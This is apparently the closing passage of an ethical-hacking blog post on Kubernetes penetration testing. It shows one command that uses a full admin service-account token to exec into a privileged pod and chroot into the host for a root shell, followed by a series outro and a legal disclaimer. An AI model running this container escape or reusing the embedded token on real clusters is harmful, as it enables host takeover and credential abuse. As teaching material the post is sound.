./kc --token eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow -n default exec -it everything-allowed-exec-pod -- chroot /host bash
./images/Untitled_30.png
./images/Untitled_30.png

This blog post is part of a series on practical approaches to cybersecurity. Stay tuned for more updates and insights into the fascinating world of ethical hacking and cybersecurity best practices.

In the following posts, we will delve deeper into the exploitation phase, demonstrating techniques such as privilege escalation, lateral movement, and persistence.

Stay safe, and happy hacking!

Note: This blog is for educational purposes only. Attempting unauthorised penetration testing is illegal and punishable by law. Always get explicit permission before performing any penetration testing.